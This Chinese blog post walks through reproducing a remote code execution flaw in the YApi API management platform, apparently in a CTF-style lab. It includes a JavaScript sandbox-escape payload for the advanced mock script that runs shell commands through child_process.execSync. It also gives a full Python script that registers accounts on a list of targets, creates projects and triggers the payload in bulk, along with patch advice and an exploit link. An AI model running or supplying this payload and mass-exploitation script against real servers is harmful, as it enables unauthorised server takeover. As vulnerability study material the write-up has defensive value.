七、【漏洞复现】YApi接口管理平台远程代码执行漏洞

2023-09-21 11:09:04

七、【漏洞复现】YApi接口管理平台远程代码执行漏洞 

7.1、漏洞原理

若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。

7.2、影响版本

YApi<=V1.92 All

7.3、指纹识别

1.有注册登陆主页

2.使用指纹识别类平台识别。 

7.4、漏洞复现

1.注册账号

2.新建项目-名称随意

3.新建接口-接口名称随意-接口路径为/随意

4.在高级mock中配置以下代码并开启

const sandbox = this 
const ObjectConstructor = this.constructor 
const FunctionConstructor = ObjectConstructor.constructor 
const myfun = FunctionConstructor('return process') 
const process = myfun() 
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

或者

注意上面这段代码的execsync()为命令执行函数
获取flag:
mockJson = process.mainModule.require("child_process").execSync("ls /tmp").toString()

5.点击mock地址执行代码 

flag:

flag-{bmh4e01cda3-7e32-4b21-9722-dc88499528a2}

7.5、修补建议

​YApi接口管理平台存在一种远程代码执行漏洞。攻击者可以在注册并登录YApi后,通过构造特殊的请求来执行任意代码,从而接管服务器。这个漏洞可能会导致严重的安全风险,因此建议用户及时修复漏洞,更新到最新版本的YApi。

1、 更新至最新版本:​​1.12.0​​​

2、 利用安全安全组设置Yapi仅对可信地址开放。
3、 编辑Yapi目录下的 config.json 文件,设置 closeRegister 为 true,关闭Yapi的前台注册功能。

{
  "closeRegister":true
}

7.6、工具推荐

POC:github: ​https://github.com/j2ekim/YApi_exp​

​批量检测YApi <=1.9.2 脚本

import requests
import urllib3
import json
import argparse

parser = argparse.ArgumentParser(description="请输入目标地址")
parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.file

def poc_1(get_url):
    if(get_url[-1]=='/'):
        get_url=get_url[:-1]
        print(get_url)
    Reg_url=get_url+"/api/user/reg"
    headers = {
        'Content-Type': 'application/json',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
    }
    data={
        'email':'gua@qq.com',
        'password':'******',
        'username':'Guatest'
    }
    try:
        urllib3.disable_warnings()
        Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
        if Reg_res.json()['errcode']==0:
            poc_2(get_url)
        else:
            print(get_url+"  "+Reg_res.text)
    except Exception as e:
        print(get_url+"  poc_1  请求出错")

def poc_2(get_url):
    Login_url=get_url+"/api/user/login"
    headers = {
        'Content-Type': 'application/json',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
    }
    data={
        'email':'gua@qq.com',
        'password':'******'
    }
    try:
        Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
        Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])
        if Login_res.json()['errcode']==0:
            poc_3(get_url,Login_cookie)
        else:
            print("登陆失败")
    except Exception as e:
        print(get_url+"  poc_2  请求出错")

def poc_3(get_url,Login_cookie):
    headers={
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie':Login_cookie
    }
    Get_id_url=get_url+"/api/group/list"
    try:
        Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)
        G_id=str(Get_id_res.json()['data'][0]['_id'])
        if Get_id_res.json()['errcode']==0:
            poc_4(get_url,G_id,Login_cookie)
        else:
            print("获取group_id失败")
    except Exception as e:
        print(get_url+"  poc_3  请求出错")
def poc_4(get_url,G_id,Login_cookie):
    NewProjecet_url=get_url+"/api/project/add"
    data={
        'name':'tes',
        'basepath':'',
        'group_id':G_id,
        'icon':'code-o',
        'color':'blue',
        'project_type':'private'
    }
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    try:
        NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)
        get_id=str(NewProjecet_res.json()['data']['_id'])
        if NewProjecet_res.json()['errcode']==0:
            poc_5(get_url,Login_cookie,get_id)
        else:
            print('创建目录失败失败')
    except Exception as e:
        print(get_url+"  poc_4  请求出错")
def poc_5(get_url,Login_cookie,get_id):
    Mock_url=get_url+'/api/project/up'
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    data={
        'id':get_id,
        'project_mock_script':"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()",
        'is_mock_open':True
    }
    try:
        Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)
        if Mock_res.json()['errcode']==0:
            poc_6(get_url, Login_cookie, get_id)
        else:
            print("mock创建失败")
    except Exception as e:
        print(get_url+"  poc_5   请求出错")
def poc_6(get_url,Login_cookie,get_id):
    Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    try:
        Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)
        Catid=Cat_id_res.json()['data'][0]['_id']
        poc_7(get_url,Login_cookie,get_id,Catid)
    except Exception as e:
        print(get_url+"  poc_6请求出错")
def poc_7(get_url,Login_cookie,get_id,Catid):
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    data={
        'method':'GET',
        'catid':Catid,
        'title':'guatest',
        'path':'/guatest',
        'project_id':get_id
    }
    port_add_url=get_url+"/api/interface/add"
    try:
        port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)
        if port_add_res.json()['errcode']==0:
            poc_8(get_url,Login_cookie,get_id)
        else:
            print("接口创建失败")
    except Exception as e:
        print(get_url+"  poc_7   请求出错")
def poc_8(get_url,Login_cookie,get_id):
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'
    try:
        vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)
        print(vuln_url+'  '+vuln_res.text)
        with open('success.txt', 'a+', encoding="utf-8") as s:
            s.write(get_url + '   '+vuln_res.text+'\n')
    except Exception as e:
        print(get_url+"  poc_8   请求出错",e)
def file():
    with open(args.file,'r+',encoding='utf-8') as f:
        for i in f.readlines():
            s = i.strip()
            if 'http://' in s:
                poc_1(s)
            else:
                exp1 = 'http://'+s
                poc_1(exp1)
if __name__ == '__main__':
    try:
        if Get_url != '' and Get_file == '':
            if 'http://' in Get_url:
                poc_1(Get_url)
            else:
                exp2 = 'http://' + Get_url
                poc_1(exp2)
        elif Get_url == '' and Get_file != '':
            file()
    except KeyboardInterrupt:
        print("结束进程。。。。")
        pass

更多推荐

【Pytest实战】Pytest+Allure+Jenkins自动化测试框架搭建

😄作者简介:小曾同学.com,一个致力于测试开发的博主⛽️,主要职责:测试开发、CI/CD如果文章知识点有错误的地方,还请大家指正,让我们一起学习,一起进步。😊座右铭:不想当开发的测试,不是一个好测试✌️。如果感觉博主的文章还不错的话,还请点赞、收藏哦!👍之前分享过Pytest基础知识,可参考Pytest实战专栏

创建Scrapy项目

创建Scrapy项目的步骤如下:安装Scrapy:在终端或命令提示符中运行以下命令来安装Scrapy:pipinstallscrapy创建Scrapy项目:在终端或命令提示符中,使用以下命令创建一个新的Scrapy项目:scrapystartproject<project_name>其中,<project_name>是

【详细教程hexo博客搭建】1、从零开始搭建一个能用的博客

1、开始2.环境与工具准备本教程主要面对的是Windows用户操作系统:Windows10NodeGitHexo文本编辑器(强烈推荐VSCODE)GitHub帐号一个域名(强烈推荐买个域名)云服务器(可选)3.Node的安装打开Node官网,下载和自己系统相配的Node的安装程序,否则会出现安装问题。下载地址:Down

Vue-devTools安装—创建项目方法2 ui创建——Vue指令综合案例——汽车品牌管理

目录项目源代码:一、vue-devTools安装二、案例功能实现1、新建项目(ui创建)2、cnpm导入项目依赖库3、删除不需要的代码结构:4、修改代码结构5、添加汽车品牌插件安装bootstrap的提示功能添加bootstrap样式6、删除汽车品牌7、查询汽车品牌(过滤)项目源代码:Vue指令综合案例——汽车品牌管理

(二十九)大数据实战——kafka集群节点服役与退役案例实战

前言本节内容是关于kafka集群节点的服役与退役,从而实现kafka集群的缩容与扩容。在开始本节内容之前,我们要预先安装好kafka集群,并准备一台空余的服务器用来完成我们扩容与缩容的案例。关于kafka集群的安装内容这里不在赘述,相关内容请查看作者往期博客内容。正文从hadoop103克隆一台空闲服务器hadoop1

QT信号槽实现原理

定义Q_OBJECT宏在宏中声明了几个重要的成员变量及成员函数,包括声明了一个只读的静态成员变量staticMetaObject,以及3个public的成员函数staticconstQMetaObjectstaticMetaObject;virtualconstQMetaObject*metaObject()const

低代码之IVX

低代码之IVX一、如何去分析不同的低代码平台🧝‍♂️1.看自己的网站和平台是不是通过自己的低代码/无代码平台生成的2.生成源代码的能力3.可视化的逻辑编排二、低代码平台未来的发展方向👨‍🌾三、优质低代码平台介绍👨‍💼1.什么是iVX:2.iVX和其它低代码平台的区别上手步骤1.1iVX线上集成环境进入1.2创

python爬虫——爬取豆瓣top250电影数据(适合初学者)

前言:爬取豆瓣top250其实是初学者用于练习和熟悉爬虫技能知识的简单实战项目,通过这个项目,可以让小白对爬虫有一个初步认识,因此,如果你已经接触过爬虫有些时间了,可以跳过该项目,选择更有挑战性的实战项目来提升技能。当然,如果你是小白,这个项目就再适合不过了。那么就让我们开始吧!目录一、实战1.对豆瓣网网站进行Ajax

数据库设计与建模

数据库设计与建模1数据库设计的三范式2数据库建模2.1建模工具2.2使用pd建模1数据库设计的三范式三范式:1.第一范式(1NF):确保每一列的原子性(做到每列不可拆分)2.第二范式(2NF):在第一范式的基础上,非主字段必须依赖于主字段(一个表只做一件事)3.第三范式(3NF):在第二范式的基础上,消除传递依赖反三范

IOS数据管理

在iOS中,没有直接与Android中的SharePreference相对应的概念。而是使用不同的机制来处理应用程序的持久化数据。在iOS中,你可以使用以下几种方法来保存和读取应用程序的数据:UserDefaults(用户默认设置):UserDefaults提供了一种简单的键值存储机制,用于存储应用程序的配置和用户偏好

【Jetpack】Navigation 导航组件 ③ ( 为 Navigation Graph 页面跳转 action 添加跳转动画 )

文章目录一、为NavigationGraph添加跳转动画1、进入NavigationGraph配置的Design模式2、选中action跳转3、为action跳转设置enterAnim进入动画4、为action跳转设置exitAnim退出动画5、通过代码为action跳转设置进入/退出动画6、执行效果代码地址:CSDN

热文推荐